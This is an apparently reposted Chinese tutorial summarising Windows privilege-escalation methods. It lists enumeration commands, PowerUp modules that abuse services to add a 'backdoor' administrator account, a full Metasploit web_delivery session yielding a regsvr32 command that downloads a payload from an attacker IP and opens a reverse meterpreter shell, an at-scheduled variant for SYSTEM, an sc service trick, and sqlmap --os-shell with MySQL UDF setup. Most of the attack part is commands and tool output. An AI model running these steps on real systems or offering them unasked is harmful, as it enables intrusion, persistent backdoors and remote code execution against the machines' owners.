windows提权方式总结


基础命令:

查看系统信息:systeminfo
环境变量:set
查看用户信息:net user
查看本地用户组:net localgroup
获得当前用户名:whoami
获得当前用户权限:whoami /priv
网络:ipconfig
显示dns缓存:ipconfig /displaydns
显示路由表:route print
arp缓存:arp -a
显示文件内容:type 1.txt
列出权限:icals "C:\Example"
显示防火墙的配置:netsh firewall show config
列出安装的驱动:DRIVERQUERY
查看进程中的服务信息:tasklist /svc
列出所有服务:sc query
找出指定服务的路径:sc qc ServiceName
列出启动的服务:net start
杀掉指定进程:
	taskkill /pid 1132 或 taskkill /IM notepad.exe
	很多进程Tasklist是杀不了的,但是用ntsd就可以,基本上除了WINDOWS系统自己的管理进程,ntsd都可以杀掉,不过有些rootkit级别的超级木马就无能为力了,不过幸好这类木马还是很少的。
	1、利用进程的PID结束进程
		命令格式:ntsd -c q -p pid
		命令范例: ntsd -c q -p 1332 (结束explorer.exe进程)
	2、利用进程名结束进程
		命令格式:ntsd -c q -pn ***.exe (***.exe 为进程名,exe不能省)


查看系统名:wmic os get caption
查看补丁信息:wmic qfe get Description,HotFixID,InstalledOn | findstr /C:"KB4013389" /C:"KB958644"

查看当前安装程序:wmic product get name,version

参考:https://www.freebuf.com/vuls/87463.html

1、工具提权

msf:

1、getsystem

2、使用search bypassuac 搜索可以使用的模块进行使用

3、使用msf里的模块进行扫描,是否打补丁

meterpreter > run post/windows/gather/enum_patches

3、利用对应漏洞提权

1)msrc 微软官方漏洞平台

2)systeminfo命令查看系统的各种信息(比如打补丁情况等)

补丁查询:https://bugs.hacking8.com/tiquan/

cs:

access --> Elevate

powersploit中的powerup:

攻击机kali,靶机win10(靶机需要有powershell)

首先获得win10的meterpreter shell,再上传PowerUP.ps1到win10上

然后:

使用IEX在内存中加载此脚本,执行Invoke-AllChecks检查漏洞
powershell.exe -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('C://pentest/PowerUp.ps1'); Invoke-AllChecks"

或者也可以在cmd环境导入模块绕过策略执行:
powershell.exe -exec bypass -Command "& {Import-Module c://pentest/PowerUp.ps1; Invoke-AllChecks}"

这里因为暂时没有发现具有写权限的服务,所以暂时无法提权。基本步骤可以参考https://51dev.com/wangluo/33937

具体参考:http://www.youknowi.xin/powershell工具之powerup介绍/

https://www.cnblogs.com/yuzly/p/10505365.html

常见模块命令:
1.Invoke-AllChecks
执行所有的脚本来检查
2.Find-PathDLLHijack
检查当前%PATH%是否存在哪些目录是当前用户可以写入的
3.Get-ApplicationHost
从系统上的applicationHost.config文件恢复加密过的应用池和虚拟目录的密码
4.Get-RegistryAlwaysInstallElevated
检查AlwaysInstallElevated注册表项是否被设置,如果被设置,意味着的MSI文件是以system权限运行的
5.Get-RegistryAutoLogon
检测Winlogin注册表AutoAdminLogon项有没有被设置,可查询默认的用户名和密码
6.Get-ServiceDetail
返回某服务的信息
Get-ServiceDetail -ServiceName Dhcp #获取DHCP服务的详细信息
7.Get-ServiceFilePermission
检查当前用户能够在哪些服务的目录写入相关联的可执行文件,通过这些文件可达到提权的目的
8.Test-ServiceDaclPermission
检查所有可用的服务,并尝试对这些打开的服务进行修改,如果可修改,则返回该服务对象
9.Get-ServiceUnquoted
检查服务路径,返回包含空格但是不带引号的服务路径。
此处利用的windows的一个逻辑漏洞,即当文件包含空格时,windows API会解释为两个路径,并将这两个文件同时执行,有些时候可能会造成权限的提升。
比如C:program fileshello.exe ,会被解释为C:program.exe以及C:program fileshello.exe
10.Get-UnattendedInstallFile
检查几个路径,查找是否存在这些文件,在这些文件里可能包含有部署凭据。这些文件包括:
c:sysprepsysprep.xml
c:sysprepsysprep.inf
c:sysprep.inf
c:windowsPantherUnattended.xml
c:windowsPantherUnattendUnattended.xml
c:windowsPantherUnattend.xml
c:windowsPantherUnattendUnattend.xml
c:windowsSystem32Sysprepunattend.xml
c:windowsSystem32SysprepPantherunattend.xml
11.Get-ModifiableRegistryAutoRun
检查开机自启的应用程序路径和注册表键值,返回当前用户可修改的程序路径。
注册表检查的键值为:
HKLMSOFTWAREMicrosoftWindowsCurrentVersionRun
HKLMSoftwareMicrosoftWindowsCurrentVersionRunOnce
HKLMSOFTWAREWow6432NodeMicrosoftWindowsCurrentVersionRun
HKLMSOFTWAREWow6432NodeMicrosoftWindowsCurrentVersionRunOnce
HKLMSOFTWAREMicrosoftWindowsCurrentVersionRunService
HKLMSOFTWAREMicrosoftWindowsCurrentVersionRunOnceService
HKLMSOFTWAREWow6432NodeMicrosoftWindowsCurrentVersionRunService
HKLMSOFTWAREWow6432NodeMicrosoftWindowsCurrentVersionRunOnceService
12.Get-ModifiableScheduledTaskFile
返回当前用户能够修改的计划任务程序的名称和路径
13.Get-Webconfig
返回当前服务器上的web.config文件中的数据库连接字符串的明文
14.Invoke-ServiceAbuse
用来通过修改服务添加用户到指定组,并可以通过定制-cmd参数触发添加用户的自定义命令。
执行方式:
PS C:> Invoke-ServiceAbuse -ServiceName VulnSVC # 添加默认账号
PS C:> Invoke-ServiceAbuse -ServiceName VulnSVC -UserName "TESTLABjohn" # 指定添加域账号
PS C:> Invoke-ServiceAbuse -ServiceName VulnSVC -UserName backdoor -Password password -LocalGroup "Administrators" # 指定添加用户,用户密码以及添加的用户组。
PS C:> Invoke-ServiceAbuse -ServiceName VulnSVC -Command "net ..."# 自定义执行命令
15.Restore-ServiceBinary
恢复服务的可执行文件到原始目录。
执行方式:
PS C:> Restore-ServiceBinary -ServiceName VulnSVC
16.Test-ServiceDaclPermission
检查某个用户是否在一个服务有自由访问控制的权限,返回true或false。
执行方式:
PS C:> Restore-ServiceBinary -ServiceName VulnSVC
17.Write-HijackDll
输出一个自定义命令并且能够自删除的bat文件到$env:Tempdebug.bat,并输出一个能够启动这个bat文件的dll。
18.Write-UserAddMSI
生成一个安装文件,运行这个安装文件,则弹出添加用户的框。
执行方式:
PS C:> Write-UserAddMSI
19.Write-ServiceBinary
预编译C#服务的可执行文件。默认创建一个默认管理员账号。可通过Command定制自己的命令。
执行方式:
PSC:>Write-ServiceBinary -ServiceName VulnSVC # 添加默认账号
PSC:>Write-ServiceBinary -ServiceName VulnSVC -UserName "TESTLABjohn" # 指定添加域账号
PSC:>Write-ServiceBinary-ServiceName VulnSVC -UserName backdoor -Password Password123! # 指定添加用户,用户密码以及添加的用户组
PSC:> Write-ServiceBinary -ServiceName VulnSVC -Command "net ..." # 自定义执行命令
20.Install-ServiceBinary
通过Write-ServiceBinary写一个C#的服务用来添加用户。
执行方式:
PSC:> Install-ServiceBinary -ServiceName DHCP
PSC:> Install-ServiceBinary -ServiceName VulnSVC -UserName "TESTLABjohn"
PSC:>Install-ServiceBinary -ServiceName VulnSVC -UserName backdoor -Password Password123!
PSC:> Install-ServiceBinary -ServiceName VulnSVC -Command "net ..."
Write-ServiceBinary与Install-ServiceBinary不同的是前者生成可执行文件,后者直接安装服务

2、命令提权

2003 at命令提权

例:

使用exploit/multi/script/web_delivery模块
msf5 exploit(multi/handler) > use exploit/multi/script/web_delivery 
msf5 exploit(multi/script/web_delivery) > show options 

Module options (exploit/multi/script/web_delivery):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SRVHOST  0.0.0.0          yes       The local host to listen on. This must be an address on the local machine or 0.0.0.0
   SRVPORT  8080             yes       The local port to listen on.
   SSL      false            no        Negotiate SSL for incoming connections
   SSLCert                   no        Path to a custom SSL certificate (default is randomly generated)
   URIPATH                   no        The URI to use for this exploit (default is random)


Payload options (python/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST                   yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Python


msf5 exploit(multi/script/web_delivery) > set lhost 192.168.0.101
lhost => 192.168.0.101
msf5 exploit(multi/script/web_delivery) > show targets 

Exploit targets:

   Id  Name
   --  ----
   0   Python
   1   PHP
   2   PSH
   3   Regsvr32
   4   pubprn
   5   PSH (Binary)
   6   Linux


msf5 exploit(multi/script/web_delivery) > set target 3
target => 3
msf5 exploit(multi/script/web_delivery) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf5 exploit(multi/script/web_delivery) > exploit
msf5 exploit(multi/script/web_delivery) > [*] Using URL: http://0.0.0.0:8080/6LgVyo6EDId
[*] Local IP: http://127.0.0.1:8080/6LgVyo6EDId
[*] Server started.
[*] Run the following command on the target machine:
regsvr32 /s /n /u /i:http://192.168.0.101:8080/6LgVyo6EDId.sct scrobj.dll

然后在2003里使用at命令:at 22:00 /interactive regsvr32 /s /n /u /i:http://192.168.0.101:8080/6LgVyo6EDId.sct scrobj.dll

但可能不会成功

这里可以使用at命令直接执行木马进行提权

获取到的shell就是system权限

2)windows 03、7、8、08、12、16 sc命令提权

这里我是用的2003进行的测试(原本用的server2008,但不知为何无法复现。)

先创建一个服务sc create syscmd binPath="cmd /K start" type=own type=interact

然后开启该服务sc start syscmd,会弹出一个命令行窗口

mysql提权

使用sqlmap:sqlmap -d "mysql://root:root@192.168.6.140:3306/mysql" --os-shell

需要开启:

所连接的用户账户要有远程连接的权限:
  mysql -uroot -proot
  use mysql;
  show tables;
  update user set host='%' where host = 'localhost';
  flush privileges;
  
Mysql版本大于5.1版本udf.dll文件必须放置于MYSQL安装目录下的lib\plugin文件夹下。
Mysql版本小于5.1版本。udf.dll文件在Windows2003下放置于c:\windows\system32,在windows2000下放置于c:\winnt\system32。
掌握的mysql数据库的账号有对mysql的insert和delete权限以创建和抛弃函数,一般以root账号为佳,具备root账号所具备的权限的其它账号也可以。
可以将udf.dll写入到相应目录的权限。

    注:关于plugin目录,可在mysql中执行
    show variables like '%plugin%';
    进行查看,这个目录也就是dll文件需要导入的目录

3、其它一些提权方式:

参考:https://lengjibo.github.io/windows提权总结/

利用一些错误配置

不带引号的服务路径

不安全的服务权限

AlwaysInstallElevated

Unattended Installs

......

4、还有其他一些划分方式,也总结一下:

基于密码破解的提权


免责声明!

本站转载的文章为个人学习借鉴使用,本站对版权不负任何法律责任。如果侵犯了您的隐私权益,请联系本站邮箱yoyou2525@163.com删除。



 
粤ICP备18138465号  © 2018-2025 CODEPRJ.COM